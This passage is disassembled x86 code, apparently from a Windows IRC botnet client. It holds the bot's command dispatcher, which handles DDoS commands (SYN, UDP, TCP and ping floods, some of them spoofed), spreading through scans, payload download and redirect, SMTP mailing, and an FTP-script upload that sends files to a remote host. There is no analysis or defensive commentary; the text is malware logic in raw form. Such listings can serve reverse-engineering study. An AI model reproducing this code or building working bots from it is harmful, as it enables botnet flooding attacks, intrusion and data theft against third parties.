		lea	eax, [ebp-327Ch]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-31FCh]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-317Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-30FCh]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-3074h], eax
		push	ebx
		lea	eax, [ebp-2C0h]
		push	13h
		push	eax
		mov	[ebp-3078h], edi
		mov	[ebp-3280h], esi
		call	sub_40B00E
		add	esp, 3Ch
		mov	[ebp-307Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3280h]
		push	ebx
		push	eax
		push	offset dword_414CC0
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-307Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40674C


loc_406736:				; CODE XREF: seg000:0040674Aj
		cmp	[ebp-3070h], ebx
		jnz	loc_403ED6
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_406736
; ---------------------------------------------------------------------------


loc_40674C:				; CODE XREF: seg000:00406734j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4319D0
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_40675D:				; CODE XREF: seg000:0040668Aj
		push	dword ptr [ebp+10h]
		push	offset aSyod	; "syod"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E02
		push	dword ptr [ebp+10h]
		push	offset aSy1	; "sy1"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E02
		push	dword ptr [ebp+10h]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40688A
		push	7Fh
		lea	eax, [ebp-36A4h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3624h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-35A4h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3524h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-34A0h], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-349Ch], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-36A8h], esi
		push	offset dword_43198C
		push	eax
		call	sub_41BF36
		add	esp, 44h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	10h
		push	eax
		call	sub_40B00E
		add	esp, 0Ch
		mov	[ebp-34A4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-36A8h]
		push	ebx
		push	eax
		push	offset byte_413C25
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-34A4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_406879


loc_406863:				; CODE XREF: seg000:00406877j
		cmp	[ebp-3498h], ebx
		jnz	loc_407202
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_406863
; ---------------------------------------------------------------------------


loc_406879:				; CODE XREF: seg000:00406861j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_431950
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_40688A:				; CODE XREF: seg000:0040679Cj
		push	dword ptr [ebp+10h]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D1A
		push	dword ptr [ebp+10h]
		push	offset aWonk	; "wonk"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D1A
		push	dword ptr [ebp+10h]
		push	offset aDownload1 ; "download1"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BDF
		push	dword ptr [ebp+10h]
		push	offset aD1	; "d1"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BDF
		push	dword ptr [ebp+10h]
		push	offset aRedirect ; "redirect"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AE5
		push	dword ptr [ebp+10h]
		push	offset aRd	; "rd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AE5
		push	dword ptr [ebp+10h]
		push	offset aScan	; "scan"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079F2
		push	dword ptr [ebp+10h]
		push	offset aSc	; "sc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079F2
		push	dword ptr [ebp+10h]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407915
		push	dword ptr [ebp+10h]
		push	offset aC_pm	; "c_pm"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407915
		push	dword ptr [ebp+10h]
		push	offset aC_action ; "c_action"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4077FB
		push	dword ptr [ebp+10h]
		push	offset aC_a	; "c_a"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4077FB
		mov	eax, [ebp+esi-80h]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_401D6C
		push	dword ptr [ebp+10h]
		push	offset aPortscan ; "portscan"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076F5
		push	dword ptr [ebp+10h]
		push	offset aPsc	; "psc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076F5
		push	dword ptr [ebp+10h]
		push	offset aAdvscan	; "advscan"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407222
		push	dword ptr [ebp+10h]
		push	offset aVv	; "vv"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407222
		push	dword ptr [ebp+10h]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070DC
		push	dword ptr [ebp+10h]
		push	offset aPu1	; "pu1"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070DC
		push	dword ptr [ebp+10h]
		push	offset aU	; "u"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070DC
		push	dword ptr [ebp+10h]
		push	offset aNetsend	; "netsend"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FCE
		push	dword ptr [ebp+10h]
		push	offset aNs	; "ns"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FCE
		push	dword ptr [ebp+10h]
		push	offset aPingflood ; "pingflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EA7
		push	dword ptr [ebp+10h]
		push	offset aPing_0	; "ping"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EA7
		push	dword ptr [ebp+10h]
		push	offset aP	; "p"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EA7
		push	dword ptr [ebp+10h]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CF5
		push	dword ptr [ebp+10h]
		push	offset aUsa	; "usa"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CF5
		push	dword ptr [ebp+10h]
		push	offset aEmail	; "email"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C9D
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-47ECh]
		push	eax
		call	sub_41C550
		push	edi
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp+18h], eax
		lea	eax, [ebp-4188h]
		push	eax
		call	sub_41C550
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-4588h]
		push	eax
		call	sub_41C550
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	dword ptr [ebp+esi-7Ch]
		call	sub_41869A
		push	eax
		lea	eax, [ebp-4288h]
		push	eax
		call	sub_41C550
		add	esp, 30h
		lea	eax, [ebp-5588h]
		push	eax
		push	101h
		call	ds:dword_4D1160
		lea	eax, [ebp-47ECh]
		push	eax
		call	ds:dword_4D1274
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_4D1270
		push	dword ptr [ebp+18h]
		mov	esi, eax
		mov	word ptr [ebp-31Ch], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-318h], eax
		call	ds:dword_4D11F0
		mov	[ebp-31Ah], ax
		lea	eax, [ebp-4288h]
		push	eax
		lea	eax, [ebp-4188h]
		push	eax
		lea	eax, [ebp-4288h]
		push	eax
		lea	eax, [ebp-4588h]
		push	eax
		lea	eax, [ebp-4188h]
		push	eax
		lea	eax, [ebp-5988h]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		lea	eax, [ebp-31Ch]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4D1198
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-4088h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_4D1208
		lea	eax, [ebp-4088h]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp-5988h]
		push	eax
		push	esi
		call	ds:dword_4D1240
		push	ebx
		lea	eax, [ebp-4088h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_4D1208
		push	esi
		call	ds:dword_4D1288
		call	ds:dword_4D1148
		lea	eax, [ebp-4588h]
		push	eax
		push	offset unk_431824


loc_406C56:				; CODE XREF: seg000:00404979j
					; seg000:004080C6j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36


loc_406C62:				; CODE XREF: seg000:00403F53j
		add	esp, 0Ch


loc_406C65:				; CODE XREF: seg000:00405F8Bj
					; seg000:00405FE3j ...
		cmp	[ebp-8], ebx
		jnz	short loc_406C86
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_406C86:				; CODE XREF: seg000:0040447Fj
					; seg000:004044D2j ...
		mov	esi, [ebp+2Ch]


loc_406C89:				; CODE XREF: seg000:0040833Fj
					; seg000:0040931Fj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		pop	ecx
		mov	eax, esi
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_406C9D:				; CODE XREF: seg000:00406B00j
		push	dword ptr [ebp+10h]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CC7
		push	dword ptr [ebp+10h]
		push	offset aHcon	; "hcon"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407272


loc_406CC7:				; CODE XREF: seg000:00406CAEj
		push	dword ptr [ebp+esi-7Ch]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+8]
		push	edi
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_41088B
		jmp	loc_4097B5
; ---------------------------------------------------------------------------


loc_406CF5:				; CODE XREF: seg000:00406AD2j
					; seg000:00406AE9j
		push	dword ptr [ebp+18h]
		mov	esi, 80h
		lea	eax, [ebp-1354h]
		push	esi
		push	eax
		call	sub_41C030
		lea	eax, [ebp-1354h]
		push	eax
		push	offset aSy1	; "sy1"
		call	sub_41C710
		add	esp, 14h
		test	eax, eax
		jz	short loc_406D5A
		lea	eax, [ebp-1354h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D5A
		lea	eax, [ebp-1354h]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D5A
		push	offset unk_4317E4
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_406D5A:				; CODE XREF: seg000:00406D20j
					; seg000:00406D37j ...
		push	dword ptr [ebp+20h]
		call	sub_41BE29
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-124Ch], eax
		jle	loc_406E8F
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-1354h]
		push	esi
		push	eax
		call	sub_41C030
		push	edi
		lea	eax, [ebp-13D4h]
		push	esi
		push	eax
		call	sub_41C030
		push	dword ptr [ebp+8]
		call	sub_41BE29
		mov	[ebp-1250h], eax
		xor	eax, eax
		cmp	[ebp-8EEh], bl
		push	dword ptr [ebp-88h]
		setnz	al
		mov	[ebp-1248h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-13D8h], eax
		lea	eax, [ebp-12D4h]
		push	esi
		push	eax
		call	sub_41C030
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-1248h], ebx
		mov	[ebp-1244h], eax
		mov	eax, [ebp-8]
		mov	[ebp-1240h], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406DF1
		mov	eax, offset aNormal ; "Normal"


loc_406DF1:				; CODE XREF: seg000:00406DEAj
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+8]
		push	edi
		push	dword ptr [ebp+18h]
		push	eax
		push	offset unk_4317A0
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	14h
		push	eax
		call	sub_40B00E
		add	esp, 2Ch
		mov	[ebp-1254h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-13D8h]
		push	ebx
		push	eax
		push	offset dword_41442C
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-1254h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_406E6F


loc_406E59:				; CODE XREF: seg000:00406E6Dj
		cmp	[ebp-123Ch], ebx
		jnz	loc_40820E
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_406E59
; ---------------------------------------------------------------------------


loc_406E6F:				; CODE XREF: seg000:00406E57j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431768


loc_406E7B:				; CODE XREF: seg000:00403C1Dj
					; seg000:004049CEj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36


loc_406E87:				; CODE XREF: seg000:00406FC9j
		add	esp, 0Ch
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_406E8F:				; CODE XREF: seg000:00406D6Bj
		push	offset unk_431730


loc_406E94:				; CODE XREF: seg000:00403AE6j
					; seg000:00403AFCj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_406EA7:				; CODE XREF: seg000:00406A8Dj
					; seg000:00406AA4j ...
		cmp	ds:dword_4D12E0, ebx
		jnz	loc_406FB3
		mov	eax, [ebp-8]
		push	7Fh
		push	dword ptr [ebp+18h]
		mov	[ebp-0FF4h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0FF8h], eax
		lea	eax, [ebp-108Ch]
		push	eax
		call	sub_41BCA0
		push	edi
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-100Ch], eax
		call	sub_41BE29
		push	dword ptr [ebp+20h]
		mov	[ebp-1008h], eax
		call	sub_41BE29
		push	7Fh
		mov	[ebp-1004h], eax
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-110Ch]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp-1004h]
		mov	eax, [ebp+0Ch]
		mov	[ebp-1110h], eax
		lea	eax, [ebp-108Ch]
		push	dword ptr [ebp-1008h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-100Ch]
		push	offset unk_4316E8
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	16h
		push	eax
		call	sub_40B00E
		add	esp, 48h
		mov	[ebp-0FFCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1110h]
		push	ebx
		push	eax
		push	offset byte_413883
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-0FFCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_406FA2


loc_406F8C:				; CODE XREF: seg000:00406FA0j
		cmp	[ebp-0FF0h], ebx
		jnz	loc_40820E
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_406F8C
; ---------------------------------------------------------------------------


loc_406FA2:				; CODE XREF: seg000:00406F8Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4316B0
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_406FB3:				; CODE XREF: seg000:00406EADj
		push	1FFh
		lea	eax, [ebp-2C0h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BCA0
		jmp	loc_406E87
; ---------------------------------------------------------------------------


loc_406FCE:				; CODE XREF: seg000:00406A5Fj
					; seg000:00406A76j
		push	edi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	offset unk_43165C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	dword ptr [ebp+8]
		call	sub_41B890
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41B890
		push	dword ptr [ebp+18h]
		add	edi, eax
		call	sub_41B890
		push	dword ptr [ebp+10h]
		add	edi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41BFB0
		add	esp, 40h
		mov	[ebp+14h], eax
		push	dword ptr [ebp+8]
		call	sub_41BE29
		mov	edi, [ebp+28h]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+1Ch], eax
		mov	[ebp+24h], ebx
		jle	short loc_4070C8


loc_407051:				; CODE XREF: seg000:00407075j
		push	dword ptr [ebp+14h]
		push	edi
		push	dword ptr [ebp+18h]
		call	sub_418E3D
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+28h], eax
		jz	short loc_407079
		cmp	eax, ebx
		jnz	short loc_407098
		inc	dword ptr [ebp+24h]
		mov	eax, [ebp+24h]
		cmp	eax, [ebp+1Ch]
		jl	short loc_407051
		jmp	short loc_4070D1
; ---------------------------------------------------------------------------


loc_407079:				; CODE XREF: seg000:00407066j
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_431624


loc_407082:				; CODE XREF: seg000:004070DAj
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_407272
; ---------------------------------------------------------------------------


loc_407098:				; CODE XREF: seg000:0040706Aj
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-2C0h]
		push	offset unk_4315F0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 20h


loc_4070C8:				; CODE XREF: seg000:0040704Fj
		cmp	[ebp+28h], ebx
		jnz	loc_407272


loc_4070D1:				; CODE XREF: seg000:00407077j
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_4315BC
		jmp	short loc_407082
; ---------------------------------------------------------------------------


loc_4070DC:				; CODE XREF: seg000:00406A1Aj
					; seg000:00406A31j ...
		mov	eax, [ebp-8]
		push	7Fh
		push	dword ptr [ebp+18h]
		mov	[ebp-0C64h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0C68h], eax
		lea	eax, [ebp-0CFCh]
		push	eax
		call	sub_41BCA0
		push	edi
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-0C7Ch], eax
		call	sub_41BE29
		push	dword ptr [ebp+20h]
		mov	[ebp-0C78h], eax
		call	sub_41BE29
		mov	esi, [ebp+esi-7Ch]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-0C74h], eax
		jz	short loc_407141
		push	esi
		call	sub_41BE29
		pop	ecx
		mov	[ebp-0C70h], eax
		jmp	short loc_407147
; ---------------------------------------------------------------------------


loc_407141:				; CODE XREF: seg000:00407130j
		mov	[ebp-0C70h], ebx


loc_407147:				; CODE XREF: seg000:0040713Fj
		push	7Fh
		lea	eax, [ebp-0D7Ch]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp-0C74h]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-0CFCh]
		mov	[ebp-0D80h], esi
		push	dword ptr [ebp-0C78h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-0C7Ch]
		push	offset unk_431574
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	17h
		push	eax
		call	sub_40B00E
		add	esp, 30h
		mov	[ebp-0C6Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0D80h]
		push	ebx
		push	eax
		push	offset byte_413A0F
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-0C6Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_4071E7


loc_4071D5:				; CODE XREF: seg000:004071E5j
		cmp	[ebp-0C60h], ebx
		jnz	short loc_407202
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_4071D5
; ---------------------------------------------------------------------------


loc_4071E7:				; CODE XREF: seg000:004071D3j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43153C


loc_4071F3:				; CODE XREF: seg000:00406885j
					; seg000:00407D15j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_407202:				; CODE XREF: seg000:00406869j
					; seg000:004071DBj ...
		cmp	[ebp-8], ebx
		jnz	loc_40833C
		push	ebx
		push	dword ptr [ebp-4]


loc_40720F:				; CODE XREF: seg000:00403EE1j
		lea	eax, [ebp-2C0h]
		push	eax
		push	dword ptr [ebp-88h]
		push	esi
		jmp	loc_40822B
; ---------------------------------------------------------------------------


loc_407222:				; CODE XREF: seg000:004069ECj
					; seg000:00406A03j
		push	0Bh
		call	sub_40B256
		push	edi
		mov	[ebp+24h], eax
		call	sub_41BE29
		add	eax, [ebp+24h]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_4073EA
		push	dword ptr [ebp+24h]
		lea	eax, [ebp-2C0h]
		push	offset unk_4314FC
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 20h


loc_407272:				; CODE XREF: seg000:00406CC1j
					; seg000:00407093j ...
		mov	esi, [ebp+esi-7Ch]
		cmp	esi, ebx
		jz	loc_401D6C
		push	dword ptr [ebp+10h]
		push	offset aUpload	; "upload"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4097B8
		push	4
		push	esi
		call	sub_416F11
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4072BD
		push	esi
		push	offset unk_4314DC


loc_4072A9:				; CODE XREF: seg000:00409570j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_409588
; ---------------------------------------------------------------------------


loc_4072BD:				; CODE XREF: seg000:004072A1j
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41BF92
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-51F8h]
		push	edx
		push	eax
		lea	eax, [ebp-2E58h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2E58h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BBB8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_401D6C
		push	esi
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+8]
		push	edi
		push	dword ptr [ebp+18h]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C49F
		push	dword ptr [ebp+2Ch]
		call	sub_41B90B
		lea	eax, [ebp-2E58h]
		push	eax
		lea	eax, [ebp-4CF0h]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_41BF36
		add	esp, 2Ch
		lea	eax, [ebp-4CF0h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_4D115C
		push	dword ptr [ebp+18h]
		test	eax, eax
		push	esi
		jz	short loc_407389
		push	offset unk_43146C
		jmp	short loc_40738E
; ---------------------------------------------------------------------------


loc_407389:				; CODE XREF: seg000:00407380j
		push	offset unk_43143C


loc_40738E:				; CODE XREF: seg000:00407387j
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_4073B7
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_4073B7:				; CODE XREF: seg000:00407399j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6


loc_4073C3:				; CODE XREF: seg000:004073E8j
		lea	eax, [ebp-2E58h]
		push	4
		push	eax
		call	sub_416F11
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401D6C
		lea	eax, [ebp-2E58h]
		push	eax
		call	sub_41C475
		jmp	short loc_4073C3
; ---------------------------------------------------------------------------


loc_4073EA:				; CODE XREF: seg000:0040723Cj
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		push	edi
		mov	[ebp-370h], eax
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-358h], eax
		call	sub_41BE29
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp-36Ch], eax
		jnb	short loc_407423
		push	5
		pop	eax
		mov	[ebp-36Ch], eax


loc_407423:				; CODE XREF: seg000:00407418j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_407430
		mov	[ebp-36Ch], ecx


loc_407430:				; CODE XREF: seg000:00407428j
		push	dword ptr [ebp+20h]
		call	sub_41BE29
		mov	[ebp-368h], eax
		mov	eax, 320h
		cmp	[ebp-368h], eax
		pop	ecx
		jbe	short loc_407452
		mov	[ebp-368h], eax


loc_407452:				; CODE XREF: seg000:0040744Aj
		or	dword ptr [ebp-354h], 0FFFFFFFFh
		cmp	ds:dword_438048, ebx
		mov	[ebp+24h], ebx
		jz	short loc_4074A1
		mov	edi, offset dword_438048


loc_407469:				; CODE XREF: seg000:00407483j
		push	dword ptr [ebp+18h]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407487
		inc	dword ptr [ebp+24h]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_407469
		jmp	short loc_4074A1
; ---------------------------------------------------------------------------


loc_407487:				; CODE XREF: seg000:00407479j
		mov	eax, [ebp+24h]
		mov	ecx, eax
		mov	[ebp-354h], eax
		shl	ecx, 6
		mov	ecx, ds:dword_438048[ecx]
		mov	[ebp-370h], ecx


loc_4074A1:				; CODE XREF: seg000:00407462j
					; seg000:00407485j
		cmp	[ebp-370h], ebx
		jnz	short loc_4074B3
		push	offset unk_431408
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_4074B3:				; CODE XREF: seg000:004074A7j
		mov	edi, [ebp+esi-7Ch]
		cmp	edi, ebx
		mov	[ebp+8], edi
		jz	short loc_4074EE
		cmp	byte ptr [edi],	23h
		jz	short loc_4074EE
		push	edi
		lea	eax, [ebp-484h]
		push	10h
		push	eax
		call	sub_41C030
		push	78h
		push	edi
